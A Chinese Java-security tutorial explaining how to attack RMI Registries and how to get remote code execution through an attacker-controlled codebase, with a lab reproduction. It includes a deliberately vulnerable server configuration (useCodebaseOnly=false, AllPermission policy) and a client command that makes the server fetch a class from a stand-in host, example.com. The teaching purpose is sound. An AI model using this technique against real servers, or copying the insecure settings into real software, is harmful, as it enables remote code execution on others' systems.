Java安全漫谈 - 05.RMI篇(2)

这是代码审计知识星球中Java安全的第五篇文章。

上一篇我们详细描述了RMI的通信过程,总结一下,一个RMI过程有以下三个参与者:

- RMI Registry
- RMI Server
- RMI Client

但是为什么我给的示例代码只有两个部分呢?原因是,通常我们在新建一个RMI Registry的时候,都会直接绑定一个对象在上面,也就是说我们示例代码中的Server其实包含了Registry和Server两部分:

```
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/Hello", new RemoteHelloworld());
```

第一行创建并运行RMI Registry,第二行将RemoteHelloWorld对象绑定到Hello这个名字上。

Naming.bind的第一个参数是一个URL,形如: rmi://host:port/name。其中,host和port就是RMI Registry的地址和端口,name是远程对象的名字。

如果RMI Registry在本地运行,那么host和port是可以省略的,此时host默认是 localhost ,port默认是 1099:

```
1 | Naming.bind("Hello", new RemoteHelloWorld());
```

以上就是RMI整个的原理与流程。接下来,我们很自然地想到,RMI会给我们带来哪些安全问题? 从两个方向思考一下这个问题:

- 1. 如果我们能访问RMI Registry服务,如何对其攻击?
- 2. 如果我们控制了目标RMI客户端中 Naming. Tookup 的第一个参数(也就是RMI Registry的地址),能不能进行攻击?

如何攻击RMI Registry?

当我们可以访问目标RMI Registry的时候,会有哪些安全问题呢?

首先,RMI Registry是一个远程对象管理的地方,可以理解为一个远程对象的"后台"。我们可以尝试直接访问"后台"功能,比如修改远程服务器上Hello对应的对象:

```
RemoteHelloworld h = new RemoteHelloworld();
Naming.rebind("rmi://192.168.135.142:1099/Hello", h);
```

却爆出了这样的错误:

```
Exception in thread "main" java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:

java.rmi.AccessException: Registry.rebind disallowed; origin /192.168.135.1 is non-local host
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
```

原来Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、bind、unbind等方法。

不过list和lookup方法可以远程调用。

list方法可以列出目标上所有绑定的对象:

```
1 | String[] s = Naming.list("rmi://192.168.135.142:1099");
```

lookup作用就是获得某个远程对象。

那么,只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用,之前曾经有一个工具 https://github.com/NickstaDB/BaRMIe, 其中一个功能就是进行危险方法的探测。

但是显然,RMI的攻击面绝不仅仅是这样没营养。

RMI利用codebase执行任意代码

既然这个Java系列的文章要尽量全面地梳理Java知识,我们不妨将时间线拉的久远一些.....

曾经有段时间,Java是可以运行在浏览器中的,对,就是Applet这个奇葩。在使用Applet的时候通常需要指定一个codebase属性,比如:

```
1 <applet code="Helloworld.class" codebase="Applets" width="800" height="600">
    </applet>
```

除了Applet,RMI中也存在远程加载的场景,也会涉及到codebase。

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。

如果我们指定 codebase=http://example.com/, 然后加载 org.vulhub.example.Example 类,则 Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class,并作为 Example类的字节码。

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。

这个时候问题就来了,如果codebase被控制,我们不就可以加载恶意类了吗?

对,在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去 CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。

不过显然官方也注意到了这一个安全隐患,所以只有满足如下条件的RMI服务器才能被攻击:

• 安装并配置了SecurityManager

• Java版本低于7u21、6u45,或者设置了java.rmi.server.useCodebaseOnly=false

其中 java.rmi.server.useCodebaseOnly 是在Java 7u21、6u45的时候修改的一个默认设置:

- https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html
- https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html

官方将 java.rmi.server.useCodebaseOnly 的默认值由 false 改为了 true 。在 java.rmi.server.useCodebaseOnly 配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase,不再支持从RMI请求中获取。

我们来编写一个简单的RMIServer用于复现这个漏洞。建立4个文件:

```
1 // ICalc.java
   import java.rmi.Remote;
    import java.rmi.RemoteException;
    import java.util.List;
 4
 5
 6
    public interface ICalc extends Remote {
 7
        public Integer sum(List<Integer> params) throws RemoteException;
 8
    }
 9
10
    // Calc.java
11
    import java.rmi.Remote;
12
    import java.rmi.RemoteException;
    import java.util.List;
14
    import java.rmi.server.UnicastRemoteObject;
15
16
17
    public class Calc extends UnicastRemoteObject implements ICalc {
            public Calc() throws RemoteException {}
18
19
20
            public Integer sum(List<Integer> params) throws RemoteException {
21
                Integer sum = 0;
22
                for (Integer param : params) {
23
                    sum += param;
24
                }
25
                return sum;
26
            }
27
    }
28
29
    // RemoteRMIServer.java
30
    import java.rmi.Naming;
31
    import java.rmi.Remote;
32
    import java.rmi.RemoteException;
33
    import java.rmi.registry.LocateRegistry;
34
    import java.rmi.server.UnicastRemoteObject;
35
    import java.util.List;
36
37
    public class RemoteRMIServer {
38
        private void start() throws Exception {
39
            if (System.getSecurityManager() == null) {
40
                System.out.println("setup SecurityManager");
41
                System.setSecurityManager(new SecurityManager());
            }
42
43
44
            calc h = new Calc();
            LocateRegistry.createRegistry(1099);
45
```

```
Naming.rebind("ref0bj", h);
46
47
        }
48
49
        public static void main(String[] args) throws Exception {
50
            new RemoteRMIServer().start();
51
        }
52
    }
53
54 // client.policy
55
   grant {
56
        permission java.security.AllPermission;
57
    };
```

编译及运行:

```
javac *.java
java -Djava.rmi.server.hostname=192.168.135.142 -
Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy
RemoteRMIServer
```

其中, java.rmi.server.hostname 是服务器的IP地址,远程调用时需要根据这个值来访问RMI Server。

然后,我们再建立一个RMIClient.java:

```
import java.rmi.Naming;
 2
    import java.util.List;
 3
    import java.util.ArrayList;
    import java.io.Serializable;
 4
 5
    public class RMIClient implements Serializable {
 6
 7
        public class Payload extends ArrayList<Integer> {}
 8
 9
        public void lookup() throws Exception {
10
            ICalc r = (ICalc)
    Naming.lookup("rmi://192.168.135.142:1099/ref0bj");
11
12
            List<Integer> li = new Payload();
13
            1i.add(3);
14
            li.add(4);
15
16
            System.out.println(r.sum(li));
17
        }
18
19
        public static void main(String[] args) throws Exception {
20
            new RMIClient().lookup();
21
        }
22
    }
23
```

这个Client我们需要在另一个位置运行,因为我们需要让RMI Server在本地CLASSPATH里找不到类,才会去加载codebase中的类,所以不能将RMIClient.java放在RMI Server所在的目录中。

运行RMIClient:

java -Djava.rmi.server.useCodebaseOnly=false Djava.rmi.server.codebase=http://example.com/ RMIClient

此时会抛出一个magic value不正确的错误:

查看example.com的日志,可见收到了来自Java的请求 / RMIClient Payload.class 。 因为我们还没有实际放置这个类文件,所以上面出现了异常:

Web记录详情	
METHOD	GET
PATH	/RMIClientSPayload.class
HOST	675ba661.n0p.co
USER_AGENT	Java/1.8.0_212
ACCEPT	text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
X_FORWARDED_FOR	In China Princ
X_FORWARDED_PROTO	http
X_REAL_IP	526403
ACCEPT_ENCODING	gzip

我们只需要编译一个恶意类,将其class文件放置在Web服务器的/RMIClient\$Payload.class即可。

这个代码执行的方法,在很多人写JNDI注入的时候会随口提一句,但因为条件较苛刻,大部分人并没有去深入研究,我这里因为是全面梳理Java历史上的一些Tricks,所以详细地进行了分析与复现。